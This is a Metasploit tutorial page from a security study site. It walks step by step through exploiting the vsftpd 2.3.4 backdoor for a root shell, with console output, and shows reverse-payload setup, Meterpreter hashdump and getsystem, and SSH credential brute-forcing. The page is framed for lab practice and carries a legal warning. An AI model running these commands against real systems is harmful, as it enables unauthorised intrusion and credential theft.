ERROR DEXby Akshay kumar
STUDY MODE / OFFENSIVE / METASPLOIT
OFFENSIVE · EXPLOITATION

Metasploit

Metasploit is the exploitation framework that turned exploit development from hand-written C into a repeatable process. It packages exploits, payloads and post-exploitation tools behind one console.

Match the version before you fire. Wrong module means a crashed service, not a session.
Reverse payloads work through NAT and firewalls; bind payloads almost never do.
LHOST must be an address the target can actually reach — not 127.0.0.1.
HOW TO USE IT →WHY IT MATTERSCOMMANDSMISTAKES
LICENCEFramework: free (BSD)
PLATFORMLinux · macOS · Windows
WRITTEN INRuby
MAINTAINED BYRapid7

What it is

Metasploit Framework is a modular exploitation platform. Instead of writing a separate program for every vulnerability, you select a module, set a few options and run it. The framework handles the plumbing: connecting to the target, delivering the payload, and giving you a session back.

Everything is a module, and the module types matter:

The Meterpreter payload is the famous part: an in-memory agent with commands for file transfer, screenshots, keylogging, port forwarding and privilege escalation. It runs in memory, so it leaves little on disk — which is why it is both powerful for testing and heavily detected by modern EDR.

WALKTHROUGH

How to use Metasploit

Follow it exactly as you would in a real session — every command, every line of output, and what each result actually tells you. This is a terminal walkthrough.

01

Start the console and find a module

KALI LINUX
msf6 > search type:exploit vsftpd
Matching Modules
================

   #  Name                                  Rank
   -  ----                                  ----
   0  exploit/unix/ftp/vsftpd_234_backdoor  excellent
   1  exploit/linux/ftp/proftp_sreplace   great

# Rank "excellent" means it rarely crashes the service
WHAT THIS MEANSThe rank column matters more than the name: excellent modules are reliable, average ones may crash the target. Search is driven by what Nmap told you.
02

Load it and read the options

KALI LINUX
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor && show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s)
   RPORT   21               yes       The target port

# Required=yes means it will not run until you set it
WHAT THIS MEANSRPORT already defaults to 21 — correct for FTP. Only RHOSTS is missing. Options you do not set and do not need are fine; options marked required will block the run.
03

Set the target and check compatibility

KALI LINUX
msf6 > set RHOSTS 10.10.10.5 && check
RHOSTS => 10.10.10.5

[+] 10.10.10.5:21 - The target is vulnerable to the backdoor
# check runs the detection without exploiting
WHAT THIS MEANScheck is the step almost everyone skips. It confirms the version matches without firing the exploit — which is the difference between a controlled test and a crashed service.
04

Run it and catch the session

KALI LINUX
msf6 > run
[*] 10.10.10.5:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.5:21 - Triggering backdoor...
[+] 10.10.10.5:21 - Backdoor has been spawned!
[+] Command shell session 1 opened

msf6 > sessions -i 1
id
uid=0(root) gid=0(root)
WHAT THIS MEANSA root shell from a 2011 backdoor. The version string from Nmap (vsFTPd 2.3.4) is what made this possible — the whole chain started with one line of scan output.
05

Prove impact, then clean up

KALI LINUX
msf6 > sessions -l && sessions -k 1
Active sessions
===============

  Id  Name  Type  Information  Connection
  1         shell  root @ 10.10.10.5  10.10.10.1:4444 → 10.10.10.5

[*] Killing all sessions...
WHAT THIS MEANSRecord what access you had, then close it. Leaving sessions open is how test systems get left in a compromised state — and how findings become incidents.

Flags & options

FLAGWHAT IT DOES
searchFind modules by keyword, type, platform.
use Load a module.
show optionsList what must be configured.
set RHOSTSTarget address (or CIDR range).
set LHOST / LPORTYour address — must be reachable from the target.
checkTest whether the target is vulnerable without exploiting.
run / exploitExecute the module.
sessions -l / -i N / -kList, interact with, or kill sessions.
setgSet an option globally for all modules.
infoFull description, references and options.
msfdb initInitialise the database so hosts/services persist.

Why it matters

Metasploit turns "I know this version is vulnerable" into "I have a session and can prove impact". That proof is the difference between a finding and a fix. But the framework also makes it easy to crash a service by firing the wrong module — which is why version confirmation matters more than speed.

How it works

The workflow inside msfconsole is always the same five steps: search → use → set → run → interact.

You search for a module matching the vulnerability you found during reconnaissance — which is why Nmap version detection matters so much: "vsftpd 2.3.4" tells you exactly which module to search for. Once selected, show options lists what must be configured: the target address (RHOSTS), the target port (RPORT), and for reverse payloads your own listening address (LHOST) and port (LPORT).

The distinction between bind and reverse payloads is the concept beginners get wrong. A bind payload listens on the target and you connect inward — it fails behind NAT and firewalls. A reverse payload makes the target connect back to you — it works through most firewalls, but requires your LHOST to be reachable from the target, and that is the number one reason a payload "does not work" in a lab.

After exploitation you get a session. sessions -l lists them, sessions -i 1 enters one. From there, post modules do the rest.

WHAT IT IS

Code that triggers one specific vulnerability in one specific version of one product.

EXAMPLE

exploit/unix/ftp/vsftpd_234_backdoor targets exactly vsftpd 2.3.4 — not 2.3.5.

RULE

Match the version from Nmap before you run anything.

WHAT IT IS

What runs after the exploit succeeds: a shell, Meterpreter, or a single command.

BIND vs REVERSE

Bind listens on the target (fails behind NAT). Reverse makes the target connect back to you (works through firewalls, needs a reachable LHOST).

GOTCHA

Architecture must match — a 64-bit payload against a 32-bit target fails silently.

WHAT IT IS

Non-exploit modules: scanners, fuzzers, brute-forcers, enumeration.

EXAMPLE

auxiliary/scanner/smb/smb_version fingerprints SMB across a range.

USE

Cheap recon that keeps results in the database for the rest of the engagement.

WHAT IT IS

Modules that run inside an existing session.

EXAMPLES

Privilege escalation checks, credential collection, pivoting, persistence.

RULE

Document everything you run — post modules change the target.

SEARCHsearch type:exploitUSEuse /path/moduleSET OPTIONSRHOSTS · LHOSTRUNexploit / runTARGET SERVICEvulnerable appSESSIONmeterpreter / shellPOST MODULESprivesc · creds · pivot
Search the module, set the options, run it, catch the session, then run post modules inside it

Commands & syntax

START AND ORIENT
msfconsole -q

# inside the console
search vsftpd
search type:exploit platform:linux smb
info exploit/unix/ftp/vsftpd_234_backdoor
CONFIGURE AND RUN
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOSTS 192.168.1.10
set LHOST 192.168.1.5          # YOUR address, reachable from the target
set payload cmd/unix/reverse
run
SESSIONS
sessions -l
sessions -i 1

# inside a Meterpreter session
sysinfo
getuid
getsystem            # attempt privesc
hashdump             # lab only
background
AUXILIARY — scanning and enumeration
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run

use auxiliary/scanner/ssh/ssh_login
set USERPASS_FILE /root/creds.txt
run
DATABASE — keep results
systemctl start postgresql
msfdb init
# then hosts / services / vulns / creds persist across sessions
hosts
services
KALI LINUX · TERMINAL
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.5
RHOSTS => 10.10.10.5
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.10.10.5:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.5:21 - USER: 530 Permission denied.
[*] 10.10.10.5:21 - Triggering backdoor...
[+] 10.10.10.5:21 - Backdoor has been spawned!
[*] 10.10.10.5:21 - Command shell session 1 opened

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
[*] Starting interaction with 1...

id
uid=0(root) gid=0(root) groups=0(root)

# Root from a 2011 backdoor in a 2011 FTP daemon.
# Old services are not history — they are still on networks.

Common mistakes

Wrong LHOST

The target cannot reach your loopback. Use the lab interface IP.

Payload architecture mismatch

A 64-bit payload against a 32-bit target fails silently.

Exploiting without confirming the version

Wrong version = crashed service = angry client.

Leaving sessions open

Sessions time out, logs fill, and the target may become unstable.

Thinking Meterpreter is invisible

Modern EDR detects Meterpreter reliably. In real engagements, custom payloads and living-off-the-land techniques are used for a reason.

Using Metasploit against anything you do not own

Unauthorised exploitation is a criminal offence.

Practice safely

Your lab: Metasploitable 2 and Metasploitable 3 are VMs built specifically to be exploited — dozens of intentionally vulnerable services. Run them on a host-only network with Kali and work through them with Metasploit.

Structured learning: TryHackMe's Metasploit room walks through the console end to end. Hack The Box's "Starting Point" machines are designed for exactly this stage.

Legal note. Only use Metasploit on systems you own or have explicit written permission to test. In India, unauthorised access is punishable under sections 43 and 66 of the IT Act, 2000. Every example on this page assumes a lab environment.

Related